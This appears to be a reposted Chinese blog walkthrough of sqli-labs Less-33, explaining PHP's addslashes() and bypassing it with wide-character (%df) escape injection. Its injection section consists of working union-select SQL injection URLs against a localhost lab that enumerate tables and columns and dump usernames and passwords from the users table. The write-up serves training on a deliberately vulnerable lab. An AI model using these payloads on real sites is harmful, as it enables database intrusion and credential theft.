zoukankan      html  css  js  c++  java
  • SQL注入之Sqli-labs系列第三十三关(基于宽字符逃逸注入)

    开始挑战第三十三关(Bypass addslashes)

    0x1查看源码

      本关和第三十二关其实是一样的,只是这里用到了addslashes()函数

    function check_addslashes($string)
    {
        $string= addslashes($string);    
        return $string;
    }
    addslashes

    0x2 addslashes讲解

    (1)功能

        函数返回在预定义字符之前添加反斜杠的字符串

    (2)预定义字符

          单引号(')
          双引号(")
          反斜杠()
          NULL
      

      该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串

      默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

    0x3开始注入

      

     其他构造方式同样

    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,database(),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(username,password) from users),3--+

     

  • 相关阅读:
    部署IIS HTTP 错误 500.19
    G2 V4 异步加载数据--Angular
    G2 V4 异步加载数据 分组柱状图X轴Y轴显示异常
    Angular G2 数据覆盖Y轴
    G2 RangeError: toFixed() digits argument must be between 0 and 100
    win7下users用户文件转移到其他盘符
    配置JDK和Tomcat环境变量
    oracle中exp,imp的使用详解
    c# 判断字符串中是否含有汉字,数字
    针对oracle集群的连接配置
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8723269.html
Copyright © 2011-2022 走看看